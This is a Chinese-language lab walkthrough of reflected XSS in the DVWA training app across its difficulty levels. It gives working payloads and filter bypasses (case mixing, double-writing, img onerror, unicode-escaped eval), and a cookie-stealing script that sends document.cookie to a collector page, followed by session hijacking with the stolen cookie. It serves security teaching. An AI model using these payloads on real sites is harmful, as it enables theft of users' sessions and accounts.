DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示
一)XSS(Reflected)介紹:
反射型xss(非持久型):需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。特點:彈窗警告、廣告;javascript;在瀏覽器中執行。
通過Web站點漏洞,向客戶交付惡意腳本代碼,實現對客戶端的攻擊;惡意攻擊者往Web頁面里插入惡意的 Script 代碼,當用戶瀏覽該頁面時,嵌入其中 Web 里面的 Script 代碼就會被執行,從而達到惡意攻擊用戶的目的;注入客戶端腳本代碼、盜取cookie、重定向等。
二)實際中實現流程:
1)攻擊者向服務器端注入一段js代碼 2)服務器端響應攻擊者一個帶有js代碼的頁面 3)攻擊者向普通用戶發送帶有js代碼的頁面,誘使用戶點擊頁面 4)用戶點擊攻擊者所發送的頁面,頁面自動運行js代碼,獲取用戶cookie,并發送給攻擊者三)實際操作:
正常輸入一個用戶名:
DVWA——XSS(Reflected)——low
核心源碼:<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> 源碼解析:1)array_key_exists檢查數組中是否有指定的鍵名 2)X-XSS-Protection: 1強制XSS保護(如果XSS保護被用戶禁用,則有用)0禁用XSS保護可以看到,low級別的代碼只是判斷了name參數是否為空,如果不為空的話就直接打印出來,并沒有對name參數做任何的過濾和檢查,沒用進行任何的對XSS攻擊的防御措施,存在非常明顯的XSS漏洞,用戶輸入什么都會被執行。
方法一:
輸入 <script>alert('hack')</script> 的結果:
此時通過 右鍵——查看網頁源代碼 可以在網頁前端代碼發現剛剛輸入的JS代碼已經被寫入了:
方法二:
1)用alert進行彈窗測試驗證是否存在XSS:
<script>alert('hack')</script>
結論:成功彈窗,說明存在XSS漏洞并且可利用。
2)利用XSS獲取cookie
編寫一個cookie.php文檔用于獲取頁面的cookie,放置在一個指定的目錄下(可以嘗試放在網站的根目錄之外的路徑下看是否有效)文檔內容如下:
接著編寫 js 代碼(意思就是利用本地的cookie.php這個文件獲取cookie,要注意本地的地址要寫對。)將頁面的cookie發送到cookie.php中
1)<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script> 注:前面我們只是利用<script>alert('hack')</script>其實現一個簡單的彈窗并沒有進一步加以利用,此處我們構造一句JS去獲取目標的cookie,因為要將構造的要對上面的編寫的JS代碼進行URL轉碼:
http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#解析:1)http://localhost/dvwa/vulnerabilities/xss_r/?name=——是我們自己搭建的網站(dvwa)的XSS(Reflected)的路徑。2)%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#——是我們構造的JS代碼(原本輸入于id框中<script>alert('hack')</script>變成了<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>并進行了url編碼)。在實際中會將此url變換成短鏈接并放置到公網(或目標服務器)中,等待目標用戶點擊此鏈接,一旦目標用戶點擊,那么攻擊者就可以獲取他的cookie并將cookie保存到攻擊者服務器指定路徑下的cookie.txt中。
在自己搭建的環境中可以直接將整個編碼后的url復制粘貼到地址欄進行訪問,也可以將編碼后的JS代碼(url的后半段)在框中輸入。最終頁面跳轉,說明js代碼執行成功:
此時,當我們到phpstudy中的www目錄下就會發現成功生成了一個cookie.txt文檔:
3)利用獲取到的cookie登陸DVWA
在瀏覽器中訪問DVWA的登陸頁面,然后F12搜索cookie關鍵字并將cookie值修改為獲取到的cookie值:
訪問登陸頁面:
修改cookie值:
功地利用cookie登陸了DVWA并獲取了登陸身份:
DVWA——XSS(Reflected)——medium
<pre> </pre> 元素可定義預格式化的文本。被包圍在 pre 元素中的文本通常會保留空格和換行符。而文本也會呈現為等寬字體。
可以看到,medium級別的代碼只是在low級別上增加了對于<scripit>的過濾,把 <script>替換為空,然而并沒有什么用,我們可以直接采用以下幾種方式繞過。
方法一:(大小寫繞過)
<sCript>alert('hack')</scRIpt> <SCRIPT>alert('hack')</SCRIPT>輸入 <SCRIPT>alert('hack')</SCRIPT> 結果:
此時通過 右鍵——查看網頁源代碼 可以在網頁前端代碼發現剛剛輸入的JS代碼已經被寫入了:
方法二:(雙寫繞過)
如果任然直接輸入 <script>alert('hack')</script> 會發現alert語句沒有被執行,因為<script>不再被當成標簽而被過濾了:
查看一下源代碼:
可以看到<script>標簽已經被替換為空,但其余內容并沒有改變,我們可以利用雙寫繞過方法,也就是把<script>標簽過濾后,剩下的內容仍能組成完整的XSS語句:
此時再次查看源代碼:
圖
方法三:(使用非<script>標簽的其他標簽)
1) <img src=1 onerror='alert("hack")'> 2) 3)語句解析:只要src的值(圖片)找不到就一定會發生錯誤,那么onerror的代碼得到了執行:
圖
方法四:(關鍵字編碼)
有些時候服務器會對代碼中關鍵字進行過濾(如alert),我們可以嘗試將關鍵字進行unicode編碼(但是直接把編碼后的語句輸入是不會起作用的),再將編碼后的放在eval()會將編碼后的語句解碼后再執行:
將alert(“D-Rose”)進行unicode編碼:
\u0061\u006c\u0065\u0072\u0074("D-Rose")構建出來的語句如下:
<Script>eval(\u0061\u006c\u0065\u0072\u0074("D-Rose") )</scripT>成功彈窗:
DVWA——XSS(Reflected)——high
可以看到,high級別的代碼使用了正則表達式直接把 <*s*c*r*i*p*t 給過濾了,* 代表一個或多個任意字符,i 代表不區分大小寫。所以<script>標簽在這里就不能用了,但可以通過img、body等標簽的事件或者iframe等標簽的src注入惡意的js代碼。
在high等級中繼續使用 <script>alert(/xss/)</script> 測試是否有XSS漏洞,會發現只顯示 > 前面所有字符被過濾:
同時嘗試使用medium等級中的大小寫繞過、雙寫繞過,發現還是所有字符都被過濾。既然在high等級中<script>標簽被徹底過濾,那么我們使用非<script>標簽 img、body等標簽的事件或者 iframe等標簽 的src注入惡意js代碼。
方法一:
輸入 <img src=1 οnerrοr=alert('hack')> 結果:
<img src=1 οnerrοr=alert('hack')>的意思是,當圖片顯示錯誤時,執行 alert(‘hack’) ,這里我們構造的的 src=1 肯定顯示錯誤,所以執行 alert語句。
此時通過 右鍵——查看網頁源代碼 可以在網頁前端代碼發現剛剛輸入的JS代碼已經被寫入了:
DVWA——XSS(Reflected)——impossible
可以看出,impossible級別的代碼先判斷name是否為空,不為空的話然后驗證其token,來防范CSRF攻擊。然后再用htmlspecialchars函數將name中的預定義字符 “<” (小于)和 “>” (大于)轉換成html實體,這樣就防止了我們填入標簽。
當我們輸入 <script>alert('hack')</script> 時,因為 htmlspecialchars 函數會將 < 和 > 轉換成html實體,并且${name}取的是$name的值,然后包圍在<pre></pre>標簽中被打印出來,所以我們插入的語句并不會被執行:
查看源代碼,表單提交的過程中,把我們的user_token也一并提交了,來和服務器端的session_token做驗證,防止CSRF攻擊。我們輸入的代碼,直接被當成html文本給打印出來了,并不會被當成js腳本執行.
此時通過 右鍵——查看網頁源代碼 可以在網頁前端代碼發現剛剛輸入的JS代碼并沒有成功的寫入。
四)參考文獻:
DVWA–反射型XSS(Reflected)攻略詳解
總結
以上是生活随笔為你收集整理的DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java怎么解析mdb文件_java解析
- 下一篇: Word 2016 如何设置黑底白字